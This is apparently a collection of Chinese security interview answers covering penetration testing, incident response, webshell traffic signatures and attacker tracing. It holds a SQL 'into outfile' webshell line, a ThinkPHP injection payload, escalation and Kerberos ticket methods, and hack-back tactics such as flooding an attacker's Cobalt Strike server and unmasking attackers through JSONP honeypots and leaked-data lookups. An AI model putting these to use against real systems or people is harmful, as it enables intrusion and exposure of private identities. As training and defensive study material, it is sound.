21 ftp FTP服务端有很多 anonymous 匿名未授权访问 爆破 22 ssh root密码爆破 后门用户 可以google查一些关于ssh后门的文章 里面的默认密码 可能会登入进去 23 telnet 一般会发生在 路由器 或者交换机 嵌入式设备 管理端口 攻击方法 弱口令 25 smtp 默认用户 默认密码 邮件账号爆破 110 pop3 默认用户 默认密码 邮件账号爆破 3389和443、445有什么漏洞? 443 https openssl 心脏滴血(影响范围较小) SSL/TLS低版本存在的漏洞 139、445:永恒之蓝、远程代码执行、缓冲区溢出 3389:rdp漏洞、弱口令、cve-2019-0708、ms12-020
通过User-Agent来控制访问
写个agent_list,每次请求,随机选择一个agent
IP代理池
网上成熟付费的代理池
伪造请求cookie
随机等待间隔
time.sleep(random.uniform(0.5, 1)) # 随机等待时间是0.5秒和1秒之间的一个小数
验证码的破解
SQL注入、万能密码
XSS
爆破弱口令
密码铭文传输
短信轰炸、爆破
未授权访问
任意用户密码修改、重置
任意用户注册
验证码复用并发
越权
框架漏洞,例如apache中间件组件shiro反序列化
上传点直接上传webshell
数据库备份getshell
select "<?php phpinfo();?>" into outfile "C:\vulcms\ecshopv3.6\ecshop\v01cano.php";
利用文件解析漏洞、文件包含拿webshell
编辑器模版漏洞
MongoDB未授权访问漏洞
Redis未授权访问漏洞
Memcached未授权访问漏洞
JBOSS 未授权访问漏洞
VNC未授权访问漏洞
Docker未授权访问漏洞
ZooKeeper未授权访问漏洞
Rsync未授权访问漏洞
IIS PUT漏洞、短文件名猜解、远程代码执行、解析漏洞 注: /test.asp/test.jpg test.asp;.jpg Apache 解析漏洞、目录遍历 注: Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.tyoes内),则继续向左识别 php.xxx.yyy Nginx 文件解析、目录遍历、CRLF注入、目录穿越 注: 对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加test.jpg/x.php进行解析攻击 CRLF时“回车+换行”(\r\n)的简称。 HTTP Header与HTTP Body时用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并显示出来。 通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话cookie或者html代码,由于Nginx配置不正确,导致注入的代码会被执行 Tomcat 远程代码执行、war后门文件部署 JBoss 反序列化漏洞、war后门文件部署 WebLogic 反序列化漏洞 SSRF任意文件上传 war后门文件部署 Apache Shiro反序列化漏洞 Shiro rememberMe(Shiro-550) Shiro Padding Oracle Attack(Shiro-721)
系统内核溢出漏洞提权
数据库提权
错误的系统配置提权
组策略首选项提权
WEB中间件漏洞提权
DLL劫持提权
滥用高危权限令牌提权
uid提权
脏牛提权
内核提权
低权限用户目录下可被Root权限用户调用的脚本提权(SUID)
环境变量劫持高权限程序提权
SUDOER配置文件错误提权
docker提权
粘滞键后门
注册表注入后门
计划任务后门
白银票据
黄金票据
影子账户
项目前期准备
信息收集:子域名、源ip、旁站、c段、服务器系统版本、端口、目录、
漏洞扫描:Nessus、AWVS、goby、arl灯塔
手工挖掘:逻辑漏洞
验证漏洞
修复建议
基线检查
输出报告
多地ping看是否有cdn
邮件订阅或者rss订阅
二级域名可能不会做cdn
nslookup http://xxx.com 国外dns
查找域名历史解析记录,因为域名在上CDN之前用的IP,很有可能就是CDN的真实源IP地址
phpinfo上显示的信息
cloudflare github可以获取真实IP
一个网站有icon 可以根据icon hash 来查找真实IP
子域名绑定 测试子域可能回源
扫描流量和手动流量的区别在于其产生的方式和行为特征,因此可以通过以下几种方法来查看区分它们:
查看流量来源:扫描流量通常是由自动化工具或蠕虫病毒等程序生成的,因此其源 IP 或者发起请求的主机通常不固定,而手动流量则来自人工操作的设备,其请求的 IP 地址和用户代理信息都会有所不同。
检测流量频率和规律:扫描流量通常会呈现出周期性、规律性的访问行为,例如连续大量的 TCP SYN 请求等。而手动流量则通常难以呈现出明显的规律和周期性。
观察流量的请求路径和参数:扫描流量通常是为了探测系统漏洞和弱点而产生的,它们通常会对一些已知的 URL 和参数进行大量的尝试,并使用一些特殊的 HTTP 头部信息。而手动流量则更加多样化,可能会包含更丰富的请求路径和参数。
常见应急响应事件分类: web入侵:网页挂马、主页篡改、Webshell 系统入侵:病毒木马、勒索软件、远控后门 网络攻击:DDOS攻击、DNS劫持、ARP欺骗
收集信息:事件发生的时间、影响范围、受影响的系统和服务等信息 判断类型:判断为何种安全事件(web、系统、网络)如:webshell、勒索、挖矿、断网、DoS等等 抑制范围:隔离下线使受害面不继续扩大 深入分析:日志分析、流量分析、主机排查(账号、进程端口、服务启动项、计划任务)、恶意样本 清理处置:杀掉进程,删除文件,打补丁升级,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产 产出报告:整理并输出完整的安全事件报告
可疑账号(新增、隐藏、克隆)排查 lusrmgr.msc 注册表
可疑的进程和端口 taskmgr、netstat -ano|tasklist
可疑的服务和启动项、计划任务 services.msc msconfig
检查系统相关的信息 系统补丁、可疑文件和目录 sysinfo
结合日志分析 eventvwr.msc、Log Parser、星图
恶意样本webshell排查
自动化查杀 360、卡巴斯基 web:河马、D盾
用户信息文件/etc/passwd,看有没有特权用户
查看当前登录用户(tty本地,pts远程)
查看异常端口连接:netstat -antlp|more
可疑进程:ps aux|grep pid
结束进程:kill -9 pid
检查定时任务:crontab -l
Windows系统日志都是在“事件查看器”下面的。
具体步骤如下:
我的电脑 - 右键单击 - 管理 - 计算机管理 - 系统工具 - 事件查看器 - Windows日志;
win+r 输入eventvwr.msc
日志路径:C:\Windows\System32\winevt\Logs
必看日志:Security.evtx、System.evtx、Application.evt
1100 ----- 事件记录服务已关闭
1102 ----- 审核日志已清除
4624 ----- 帐户已成功登录
4625 ----- 帐户无法登录
4656 ----- 请求了对象的句柄
4657 ----- 注册表值已修改
4720 ----- 已创建用户帐户
5025 ----- Windows 防火墙服务已停止
方法1:查找注册表中的系统账号
reg query HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
方法2:查看系统日志
通过“计算机管理”中的“事件查看器”可以查看到隐藏账户以及其登陆的时间。即使黑客将所有的登陆日志删除,也还会记录是哪个账户删除了系统日志,这样黑客的隐藏账户就暴露无疑了。
windows:
修改弱口令
服务版本排查nday
iptable服务端口
安装杀毒软件
禁止向公网开放端口
更改SSH默认端口
同一个IP登录超过5次错误实行黑名单
禁用root登录
禁用空密码
改用秘钥登录
通过在Java虚拟机(JVM)中运行的恶意代码,实现对被攻击者系统的远程控制。其原理是通过在Java虚拟机中注入特定的Java类、变量或方法等Java对象,然后在Java虚拟机中运行这些代码,实现对受害者机器的远程控制
1、如果是jsp注入,日志中排查jsp的访问请求。 2、如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法。 3、根据业务使用的组件排查可能存在的java代码执行漏洞,spring的controller类型的话根据上报webshelli的url查找日志,filter或者listener类型,可能会有较多的404但是带有参数的请求。
利用Java Agent技术遍历JVM中所有已经加载到内存中的class。先判断是否是内存马,是则进入内存查杀。
1,filter名字很特别 2,filter优先级是第一位 3,对比web.xml中没有filter配置 4,特殊classloader加载 5,对应的classloader路径下没有class文件 6,Filter的doFilter方法中有恶意代码
(较弱特征)为了确保内存马在各种环境下都可以访问,需要把filter匹配的优先级调至最高
(较强特征)内存马的Filter是动态注册的,所以在web.xml中肯定没有配置
(强特征)特殊的classloader加载。Filter也是class,也是必定有特定的classloader加载。一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个:
这个特征是一个特别可疑的点了。当然了,有的内存马还是比较狡猾的,它会注入class到当前线程中,然后实例化注入内存马。这个时候内存马就有可能不是上面两个classloader
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader
com.sun.org.apache.bcel.internal.util.ClassLoader
1、清除内存马中的Filter的恶意代码
2、模拟中间件注销Filter
基于servlet规范,通过动态注册Servlet、Filter、Listener等实现无文件webshell
基于特定框架,如Spring框架下动态注册Controller 等
基于JAVA Agent,memShell
静态检测:检测文件代码是否为webshell代码
动态检测:检测http请求访问文件
使用D盾或河马进行扫描
查询日志记录,分析攻击流量
/var/log/secrue 登录日志
/var/log/message 系统日志
/var/log/maillog 邮件日志
/var/log/cron 计划任务日志
/var/log/apache2 access.log /error.log apache日志
/var/log/mysql mysql日志
find /var/log/message | awk 正则匹配php或asp
排查网站目录,查看最近更改的文件
排查恶意的外连流量,锁定感染进程
通过设备的告警信息,流量特征(攻击特征),去查看数据包里面(请求包、请求体、返回包、返回体),是否存在相应的攻击特征,如果不包含攻击载荷,为误报。
以攻击IP为索引,去查看(护网开始-现在),是否有其它攻击行为。
查看攻击方向:内对内、内对外、外对内。内对内的话误报率较大,但也要看具体的流量,最好上机排查。
本地复现:不用客户的网络去访问,可以用其他的网络,比如手机热点。
要把告警日志数据转换为情报数据进行输出分析告警日志数据主要来自: WAF、IPS「入侵防御系统」、IDS「入侵防御系统」、蜜罐、NTA、EDR、APT、防病毒、堡垒机、态势感知等安全设备。 通过特征规则将无效告警、误报告警过滤掉,剩下的就是"待分析告警"
哪些告警属于无效告警? 比如说:攻击方通过对目标资产所处的C段进行批量扫描,但C段的资产并非都是处于「活跃」状态,甚至根本没有这个资产。而安全设备还是因为这个「攻击尝试行为」产生了告警,那么这种告警就属于「无效告警」。
怎么判断告警是误报? 比如说:攻击方尝试利用现成的「EXP&POC集成脚本工具」对资产目标进行检测扫描,安全设备检测到「攻击尝试行为」中的攻击特征就会产生告警。在通常情况下,可以把告警中的URL的"网页状态码"、"页面回显数据"作为「误报告警」判断的条件之一。 如何对「待分析告警」关联分析? 从「待分析告警」中提取攻击特征,通过「攻击特征规则库」进行匹配,看能否获取到「情报线 索」。/index/index/index?options=id)9%2bupdatexml(1,concat(Ox7,user(),0x7e),1) from users%23**比如说,在「待分析告警」数据发现这一段Payload,通过「攻击特征规则库」关联到它属于「ThinkPHP5-注入漏洞」。但我们通过「资产指纹信息库」进行核查发现「受攻击的资产」并没有使用「ThinkPHP5」框架。按照这个分析逻辑,将整个流程脚本化输出。就可以排除「待分析告警」中那些真实的攻击尝试行为,却又未攻击成功的告警。然后,人工再对剩余的少量「待分析告警」进行分析研判,从其中捕获到「真实有效」的攻击事件的可能性相对于以往的分析方式会大的多。 如果捕获到「真实有效」的攻击事件,还可以利用「资产指纹信息库」巡查具有同样指纹特征的设备是否也存在类似的漏洞。
看情况第一步判断是不是内部人员误操作,如果是,则需要考虑是否要添加某些规则进入白名单,如果并非内部人员操作,就需要对于设备告警发出的信息进行流量分析等,测试是否能对服务器造成危害,然后进行应急
分析请求、响应内容,判断是否攻击成功
首先看告警事件名称判断是网络攻击事件还是web攻击事件,
网络攻击事件:定位五元组信息(源IP、目的IP、源端口、目的端口、协议),对整个僵、木、蠕传播链进行分析,以攻击IP作为受害IP进行检索查找攻击源,
WEB攻击事件:通过数据包的请求体、响应体、状态码等。
检查日志:检查服务器日志,看是否有异常的日志记录,如异常的Java反序列化操作、异常的HTTP请求等。
分析流量:使用网络流量分析工具Nmap、Wireshar,检查是否有可疑的HTTP请求,特别是那些包含恶意序列化数据的请求。
检查系统状态:检查系统状态,看是否有异常的进程或服务在运行,特别是那些可能与攻击相关的进程或服务。
检查文件:检查服务器上的文件是否有被修改的迹象,特别是那些与Shiro相关的配置文件或类文件。
验证漏洞:手动复现漏洞,构造一个恶意的序列化数据包,尝试发送给目标服务器,看是否能够触发漏洞;或者使用如ysoserial、ShiroExploit等工具来检查是否存在Shiro反序列化漏洞。
检查系统配置:检查Shiro的配置文件,看是否开启了RememberMe功能,以及AES的密钥是否是硬编码的。
检查系统版本:检查系统的Java版本,看是否是容易受到Shiro反序列化漏洞影响的版本。
检查系统补丁:检查系统是否有安装最新的安全补丁,以修复已知的Shiro反序列化漏洞。
立即断开连接:将受感染的设备从网络中隔离,防止恶意软件传播或进一步损害其他系统。
检查并清除恶意软件:利用安全软件对受感染设备进行全面扫描,清除发现的恶意软件,并确保所有安全补丁和更新都已安装。
修改凭据和密码:建议用户立即修改与受感染设备相关的所有凭据、密码和敏感信息,以防止进一步的数据泄露或未经授权的访问。
通知相关方:如果客户是企业或组织,应及时通知网络安全团队、IT部门或管理人员,以便他们采取进一步的应对措施。
网络流量分析:通过网络流量分析工具或系统日志,检查受感染设备与远程服务器之间的通信,查找可能的恶意连接或数据传输。
查找域名和 IP 地址:检查受感染设备的 DNS 查询记录、主机文件、网络连接表等,寻找与恶意服务器相关的域名和 IP 地址。
安全厂商威胁情报:利用安全厂商提供的威胁情报服务,查找已知的恶意域名、IP 地址或恶意软件样本,并对受感染设备进行匹配检查。
CPU适用于接近100%并高居不下,或CPU占用过高操作迟缓,可以判定为挖矿
top命令查看消耗系统资源较高的进程PID
通过PID,利用ps -ef -p PID
或ps aux | grep PID
查找出系统进程的详细信息
根据进程查询的信息找到文件位置
停止服务 systemctl stop xxx.service
通过kill 9 PID结束进程,有时可能要杀掉多个进程
通过find / -name 异常文件的文件名
查找相关的异常恶意文件
通过rm -rf 异常文件
删除所有异常文件
检查定时任务crontab -l
,清理定时任务通过crontab -e
进入工作表删除定时任务
打开任务管理器,打开资源性能管理器或直接查看查看占用CPU资源较高的服务或进程的PID
通过PID在任务管理器中的详细信息一栏找到对应程序,右键打开文件所在位置
结束进程,关闭服务,删除对应文件,确认若有必要就先备份后删除文件
通过schtasks /query
命令查看定时任务,通过schtasks /delete
命令删除定时任务
此类产品基本上以旁路为主,特点是不阻断任何网络访问,主要以提供对网络和系统运行状况的监控和报告为主,少量的类似产品还提供TCP阻断等功能,但少有使用。
基本上以在线模式为主,解决了IDS无法阻断入侵的问题, 不仅可以检测到入侵还可以对入侵进行拦截,其工作原理类似防病毒系统定义N种已知的攻击模式,然后通过模式匹配去阻断非法访问一样。
IDS相当于监控,当发现异常行为时发出警告;
IPS相当于大厦的保安,不仅可以检测到入侵还可以对入侵进行拦截。
防火墙是网络层面的防护,IDS和IPS主要防护应用层。
防火墙是网络边界控制设备,主要通过策略实现对网络的访问控制。
IDS无法防护加密的数据流,且对于UDP协议会话误报较高。
蜜罐的工作原理可以概括为以下几个步骤:
创建虚拟环境:在网络中创建一个看似易受攻击的虚拟环境,该环境模拟真实企业环境的一部分或全部功能,包括应用程序、服务和操作系统。
引诱攻击者:通过暴露蜜罐的存在,例如通过公开可访问的IP地址或虚假的网站,吸引攻击者主动尝试入侵、扫描或攻击蜜罐系统。
监测和记录:一旦攻击者进入蜜罐系统,蜜罐会记录攻击者的行为、攻击技术和使用的工具。 这些信息对于理解攻击者的策略和行为非常有价值。
分析和响应:通过分析记录的数据,研究人员可以识别攻击者的行为模式、漏洞利用方法和漏洞的目标。 这些信息可以用于改进真实系统的安全性,及时发现和应对新的威胁。
蜜罐的优势在于能够提供高质量的攻击数据和情报,帮助安全团队更好地了解攻击者的行为模式和目的,加强防御措施并及时应对威胁。 然而,蜜罐也需要专业人员来设计、部署和管理,以确保其安全性和有效性,并避免对真实系统造成潜在的风险。
首先通过威胁情报平台确认攻击ip是否为威胁 ip,常用的平台通常有如下
微步在线X情报社区-威胁情报查询_威胁分析平台_开放社区 微步在线威胁情报社区
奇安信威胁情报中心 奇安信威胁情报中心
360安全大脑 360威胁情报中心
VenusEye威胁情报中心 VenusEye威胁情报中心
当发现IP的为攻击IP后,可以尝试通过此IP去溯源攻击者,具体实现过程通常会用到下述方法:
1.ip 反查域名
2.域名查 whois 注册信息
3.域名查备案信息、反查邮箱、反查注册人
4.邮箱反查下属域名
5.注册人反查下属域名
定位攻击者ip后,可以通过sgk、社交软件、指纹库等其它方式捕获到攻击者个人社交账号捕获到更精准的敏感信息可以采取以下思路。
1.支付宝转账,确定目标姓氏
2.进行QQ账号、论坛、贴吧、等同名方式去搜索
3.淘宝找回密码,确定目标名字
4.企业微信手机号查公司名称
5.度娘、谷歌、src、微博、微信、知乎、脉脉等知道的各大平台上搜索
攻击者如果在恶意攻击过程中对目标资产上传攻击程序(如后门、恶意脚本、钓鱼程序等),我们可通过对攻击者上传的恶意程序进行分析,并通过IP定位等技术手段对攻击进行分析溯源,常用的恶意程序分析网站有:
微步在线云沙箱:https://s.threatbook.cn/ 腾讯哈勃:腾讯哈勃分析系统 Virustotal:VirusTotal火眼:https://fireeye.ijinshan.com 魔盾安全分析:恶意软件分析 & URL链接扫描 免费在线病毒分析平台 | 魔盾安全分析
蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。
蜜罐溯源的两种常见方式:
一种是在伪装的网站上插入特定的js文件,该js文件使用攻击者浏览器中缓存的cookies去对各大社交系统的jsonp接口获取攻击者的ID和手机号等。另一种是在伪装的网站上显示需要下载某插件,该插件一般为反制木马,控制了攻击者的主机后查询敏感文件、浏览器访问记录等个人敏感信息从而锁定攻击者。
主要就是下述反制手段做操作
1.可克隆相关系统页面,伪装“漏洞”系统
2.互联网端投饵,一般会在Github、Gitee、Coding上投放蜜标(有可能是个单独的网站地址、也有可能是个密码本引诱中招)
3.利用JSONP、XSS、CSRF等前端类漏洞获取访问蜜标的攻击者网络身份(网络画像)
安全防护基础较好的厂商,一般来说除了出动0day,物理近源渗透以外,最常见的就是邮件钓鱼了,在厂商收到邮件钓鱼的情况下,我们可以采取化被动为主动的方式,假装咬钩,实际上诱导攻击者进入蜜网。
可以尝试挖掘蚁剑、冰蝎、菜刀、BurpSuite、SQLmap、AWVS的0day漏洞(需要一定的技术水平),或利用历史漏洞部署相关环境进行反打
攻击者可能通过盲打漏洞方式来获取权限,一般盲打都具备一个数据回传接口(攻击者需要接收Cookie之类的数据),接口在JavaScript代码中是可以寻找到的,我们可以利用数据回传接口做以下两件事情,并后续引导攻击者进入我们部署好的蜜罐。
1.打脏数据回传给XSS平台
2.打虚假数据回传给XSS平台
攻击者可能是通过自己搭建的公网服务器进行攻击的,或者是通过此服务器与后门进行通讯。其中服务器可能运行诸多服务,且未打补丁或设置强密码,导致防守方可以进行反打。
态势感知、安全设备EDR告警
日志分析,获取攻击者指纹信息与攻击方式
服务器资源异常,多了websehll或者计划任务
蜜罐告警,获取攻击者指纹信息
邮件钓鱼,对木马文件逆向分析获取攻击者信息
样本分析,检测是否为病毒木马
进程信息
攻击者使用代理获取真实ip
代理池溯源
分析请求头的XFF字段和via字段
域前置溯源
威胁情报平台
证书查询
精准IP定位
ip反查域名、whois查询公司、备案信息
取证,想办法搜索到和他相关的所有信息
手机号反查
邮箱反查注册人
企业微信手机号查公司名称
技术手段
分析对方工具的漏洞
蜜罐
非技术手段
钓鱼和反钓鱼
从攻击者的目的反向思考获取对方信息
Cobalt Strike 反制 1、批量上线钓鱼马,启几百个进程,ddos 红方的cs 端 2、爆破cs 密码 3、假上线 我们只需要发送心跳包,即可模拟上线,并且攻击者无法执行命令,只能干着急。 也就是模拟cs 上线 4、通过漏洞 xss(伪造user) rce(xss到rce)
针对dnslog 的反制 可进行批量ping 捕获到的dnslog ,然后恶意扰乱他自行搭建的,恶意制造各种垃圾dnslog数据,让他无法获取到有效信息。直接让红队人员被迫废弃一个红队基础设施。 具体可以写个脚本比如站长之家之类的进行批量ping ,进行探测存活。
蜜罐 获取攻击者的P(真实IP,代理IP等)、ID、操作系统、设备信息等,也可通过诱饵进行钓鱼反制。 创宇蜜罐、开源HFish多功能蜜罐
钓鱼邮件溯源 攻击者在伪造钓鱼邮件时,有时出于疏忽,会泄露自己的邮件服务器地址,从而被溯源,查看邮件原文:
通过显示过滤器,过滤 http.request数据流,可以在数据流中看到大量http GET请求再对路径以及文件进行爆破,可以发现在info中的路径有很明显的顺序,例如dir将a开头的路径跑完后就开始跑b开头的路径如此反复,所以在遇到有类似特征的流量,可以初步判断为dirsearch攻击
通过wireshark的显示过滤器过滤sqlmap攻击流量包 过滤 http.request后,可以发现info中有大量的sql语句。 如果攻击者没有设置sqlmap工具,在传输层的请求头中的user-agent可以看到sqlmap的网站,这是一个强特征,只要有这个特征就可以断定是sqlmap
payload在请求体中,采用url编码+base64编码,payload部分是明文传输。 payload中有eval或assert、base64_decode这样的字符。 payload中有默认固定的&z0=QGluaV9zZXQ...这样base64加密的攻击载荷,参数z0对应$_POST[z0]接收到的数据,且固定为QGluaV9zZXQ开头。 进行base64解码后可看到代码:@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);这段意思是首先关闭报错和magic_quotes,接下来去获取主机的信息。
每个请求体均以@ini_set("display_errors","0");@set_time_limit(0)开头 请求参数两位之后的才是正确的命令的Base64编码 响应体的内容为base64编码加混淆字符,格式为:随机数 结果 随机数
使用AES加密 + base64编码,AES会通过请求协商一个随机密钥进行加密 内置了十几个User-Agent头,每次请求时会随机选择其中的一个。因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎。
使用AES加密 + base64编码,取消了2.0的动态获取密钥,使用固定的连接密钥,AES加密的密钥为webshell连接密码的MD5的前16位, 默认连接密码是rebeyond,它的md5前16为是:e45e329feb5d925b 内置了十几个User-Agent头,每次请求时会随机选择其中的一个。因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎 3.0连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream
看到流量是AES加密的,但是没有协商过程,疑似冰蝎3,尝试使用默认密码解密,成功了
提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。 Accept字段(弱特征),通常是Accept: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向application/json 和 text/javascript。 Content-Type字段(弱特征),通常是Content-type: Application/x-www-form-urlencoded 与冰蝎的前述版本相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。 连接的端口有一定的特征,冰蝎与webshell建立连接的同时,java也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。 使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection:Keep-Alive 有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd 默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,与冰蝎3.0相同。
三次相应链接 第1个请求会发送大量数据,该请求不含有任何Cookie信息,服务器响应报文不含任何数据,但是在set-cookie会设置PHPSESSID,后续请求都会自动带上该Cookie; User-Agent字段(弱特征),默认情况,会暴露jdk信息。PS:哥斯拉支持自定义HTTP头部,此特征很容器去除; Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同样容易去除; Cookie中有一个非常关键的特征,最后会有个分号; 响应数据中,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
心跳包60s,默认端口50050,0.0.0.0是Cobalt Strike DNS Beacon特 HTTP: 基础特征:心跳包(60s) 源码特征:checksum8 (92L、93L)
可以用Wireshark抓取他的HTTP请求包,然后提取他的请求url路径通过checksum8解密算法,如果得到的结果为92或93,则可以判断他的cs是没有进行魔改的
请求特征:下发的指令、url路径、老版本固定的ua头
HTTPS: 源码特征(ja3 ja3s)
同—系统下的cs得到它的ja3 ja3s值是—致的
反制: 批量上线钓鱼马
启几百个进程 ddos 红方的 cs 端。假如我们获取到了红方的 cs 样本,那么第一种方法可以批量启几百个进程运行该样本 (注意隔离环境), 然后红方的 cs 端几乎瘫痪,无法使用
爆破 cs 密码
一般而言,红队的 cs 设施为了多人运动,密码通常不会太复杂,很大机会是弱口令为主,甚至 teamserver 端口 50050, 那么针对 cs 端控制端,可以直接进行密码爆破
Frp客户端首先对服务端监听端口发起连接,将自己的版本号、操作系统类型、平台架构、加密后的token信息等发送给frp服务端。 Frp服务端在接收客户端请求后,返回自身的版本信息,并向frp客户端分配一个run_id。之后双方开始加密传输数据
1、net time /domain 找不到域WorkGroup的域控制器 加入了域,且当前用户域用户,则显示域控的时间
2、ipconfig /all 主DNS后缀为空 只要加入域,不管当前用户为域用户本还是本地用户,主DNS后缀,都为域名
3、systeminfo 工作组环境systeminfo查询的显示为WORKGROUP,域环境查询的域是域名
渗透的几种流程:
1、后台权限
2、shell权限
3、服务器权限
4、域控权限
1、2属于前端渗透
2、4属于内网渗透
2、3、4属于后渗透
区别:
白银票据通常用于攻击域控,黄金票据则用于拿下域控后权限维持,且黄金票据是伪造发票人,而白银票据则是伪造门票
黄金票据:
黄金票据就是我们在拿到这个域控之后,获取了这个KDC
用户的hash
值之后,然后就可以伪造任意用户的TGT
票据,从而实现对域内任意机器的访问,可以用于权限维持也可用于横向移动。
白银票据:
白银票据就是我们在拿到这个域控之后,获取到域内机器用户的hash
值,这个时候我们就可以伪造一个真正的ST
票据,实现对某个机器特定服务的访问。
域名称、域的 SID 、域的 KRBTGT 账户的密码 hash 值、伪造的用户名,可以是任意用户甚至是不存在的用户
黄金票据攻击,其实是一种后门的形式,属于第二次进行攻击的方法,第一次拿到域管权限之后,需要将krbtgt hash进行保存,当第二次再来进行渗透攻击时,我们就可以使用krbtgt hash制作黄金票据,从而获得管理员权限。
域名称、域的 SID 、域的服务账号的密码 hash 、伪造的用户名(可以是任意的
通过扫描资产查看是否有web应用,对web应用进行一个渗透,拿到shell之后msf传马建立反向连接,cs&msf联动,收集信息提升权限,上传cs木马,查看当前用户以及域信息,扫描内网主机ip以及开放端口,使用cs进行mimikatz目标机用户密码,设法从域成员主机内存中dump出域管理员密码,通过elevate进行账户提权拿下域控,如果目标主机路由不出网的话,可以搭建socket代理,把流量代理出来,如果是tcp协议禁出网的话,可以搭建dns隧道,内网主机只出网DNS协议数据,解决通讯,如果本机没有公网无法上线的话,可以通过使用一台有公网的服务器来作为跳板机,进行内网穿透,frp、Ngrok、nps。
webshell不出网使用正向代理,搭建HTTP隧道攻击内网
用Frp
、Nps
、Ngrok
等一些工具,隧道有很多ssh隧道、UDP隧道、TCP隧道、SOCKS隧道、DNS隧道
替换关键函数,拆分关键函数再拼接执行,使用编码绕过,Base64
,XOR
等
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。